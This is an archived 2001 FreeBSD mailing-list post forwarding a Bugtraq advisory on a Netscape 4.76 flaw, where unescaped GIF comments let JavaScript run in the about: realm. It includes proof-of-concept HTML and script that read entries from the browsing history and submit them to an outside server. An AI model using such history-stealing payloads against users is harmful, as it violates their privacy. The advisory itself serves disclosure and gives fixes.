Date: Tue, 10 Apr 2001 19:24:52 -0400 (EDT) From: Trevor Johnson <trevor@jpj.net> To: <security@freebsd.org>, <security-officer@freebsd.org> Subject: Netscape 4.76 gif comment flaw (fwd) Message-ID: <20010410192130.X3987-100000@blues.jpj.net>
next in thread | raw e-mail | index | archive | help
I tried this with the 4.75 BSD/OS version, and found it has the bug.
--
Trevor Johnson
---------- Forwarded message ----------
Received: from lists.securityfocus.com (lists.securityfocus.com
[66.38.151.7])
by blues.jpj.net (8.11.1/8.11.1) with ESMTP id f39LbDa19977;
Mon, 9 Apr 2001 17:37:13 -0400 (EDT)
Received: from lists.securityfocus.com (lists.securityfocus.com
[66.38.151.7])
by lists.securityfocus.com (Postfix) with ESMTP
id 84B7E24C9AD; Mon, 9 Apr 2001 15:32:36 -0600 (MDT)
Received: from LISTS.SECURITYFOCUS.COM by LISTS.SECURITYFOCUS.COM
(LISTSERV-TCP/IP release 1.8d) with spool id 32328086 for
BUGTRAQ@LISTS.SECURITYFOCUS.COM; Mon, 9 Apr 2001 15:32:01 -0600
Approved-By: aleph1@SECURITYFOCUS.COM
Delivered-To: bugtraq@lists.securityfocus.com
Received: from securityfocus.com (mail.securityfocus.com [66.38.151.9]) by
lists.securityfocus.com (Postfix) with SMTP id 9B7D124C476 for
<bugtraq@lists.securityfocus.com>; Mon, 9 Apr 2001 05:48:19 -0600
(MDT)
Received: (qmail 6555 invoked by alias); 9 Apr 2001 11:48:18 -0000
Delivered-To: BUGTRAQ@SECURITYFOCUS.COM
Received: (qmail 6534 invoked from network); 9 Apr 2001 11:48:17 -0000
Received: from mail-ffm-p.arcor-ip.de (HELO mail.arcor-ip.de)
(145.253.2.10) by
mail.securityfocus.com with SMTP; 9 Apr 2001 11:48:17 -0000
Received: from parallax.dividuum.com (145.253.171.27) by mail.arcor-ip.de; 9
Apr 2001 13:48:15 +0200
Received: by parallax.dividuum.com (Postfix,
from userid 500) id 3F3F23AD60; Mon,
9 Apr 2001 13:48:26 +0200 (CEST)
Mime-Version: 1.0
Content-Type: multipart/mixed; boundary="FL5UXtIhxfXey3p5"
Content-Disposition: inline
User-Agent: Mutt/1.2.5i
Message-ID: <20010409134826.A2541@dividuum.de>
Date: Mon, 9 Apr 2001 13:48:26 +0200
Reply-To: Florian Wesch <fw@DIVIDUUM.DE>
Sender: Bugtraq List <BUGTRAQ@SECURITYFOCUS.COM>
From: Florian Wesch <fw@DIVIDUUM.DE>
Subject: Netscape 4.76 gif comment flaw
To: BUGTRAQ@SECURITYFOCUS.COM
Product: Netscape Navigator/Communicator
Tested on: 4.76 (on Linux and Win98/NT)
Vendor Contact: Reported 2001-03-22
{ Problem }--------------------------------------------------------
- Overview:
The Netscape browser does not escape the gif file comment in the
image information page. This allows javascript execution in the
"about:" protocol and can for example be used to upload the
History (about:global) to a webserver.
- Detail:
Netscape does not allow javascript to access documents from
a different domain. This stops a javascript from one domain
that tries to mess around with login forms/private data from other
domain. The following error message is shown
"access disallowed from scripts at <javascriptdomain> to documents
at another domain."
Now there is the protocol "about:" that is used
for some special tasks.
about: - shows Netscape version and copyrights
about:blank - shows a blank document
about:config - shows Browser configuration.
about:global - shows Information about the Netscape global history
about:<url> - shows Information about the specified url
..
There are some other about: documents (try grepping the netscape binary).
about:global is very interesting since all visited documents are
listed there. So I tried to find a way to access this information.
I created a frameset with 2 frames. The first Frame (called foo)
contains about:global. Using <frame src="about:global">,
<meta http-equiv="refresh" content="10; URL=about:global"> or
document.location.href="about.global"; for setting this url did not
work. So I used the following trick to make it work:
<base href="about:">
<form action="global" name="loadhistory">
<input type="submit">
</form>
<script language="javascript">
document.loadhistory.submit();
</script>
My intention is that the second frame (called bar) grabs 10 urls
in the first frame using javascript and sends them to the server.
Accessing parent.frames["foo"].document.links does not work since
foo is displaying an about: document and bar is a normal http document:
"access disallowed from scripts at blah to documents..."
So I tried to find a way to start a javascript within an
about: document. about:<someurl> comes into mind since there are
a lot server specified values.
First I tried to inject javascript using the url of the script.
But since this url is encoded (space => %20 etc.) there is no way
in. Modifying the Content-Type (File MIME Type) did not work
either because Netscape opens a "Save as..." window when
supplying an unknown mimetype.
Then I remembered that Netscape shows the comment included in
gif files. A quick test showed that the comment is not escaped.
So Javascript in gif comments is executed in the about: realm.
This means that this script can then access the content of
about:global. nice.
The following script included in the comment reads 10 urls in
the about:global frame (foo), stores them in the form and finally
submits this form.
<form action=http://bla/ns476history.php target=_parent name=s method=get>
<input name=u>
</form>
<script>
f=parent.frames["foo"].document;
l="";
for(i=0;i<10;i++)
l+=f.links[i]+"|";
document.s.u.value=l;
document.s.submit();
</script>
The server has 10 urls of about:global urls now.
Accessing about:config should be possible too, but
I did not try it.
{ Solution }--------------------------------------------------------
Disable Javascript
or
Upgrade to 4.77
{ Exploit }---------------------------------------------------------
attached
or
http://dividuum.de/security/netscape/
--------------------------------------------------------------------
Regards,
Florian Wesch <fw@dividuum.de>
http://dividuum.de
To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-security" in the body of the message
Want to link to this message? Use this URL: <https://mail-archive.FreeBSD.org/cgi/mid.cgi?20010410192130.X3987-100000>
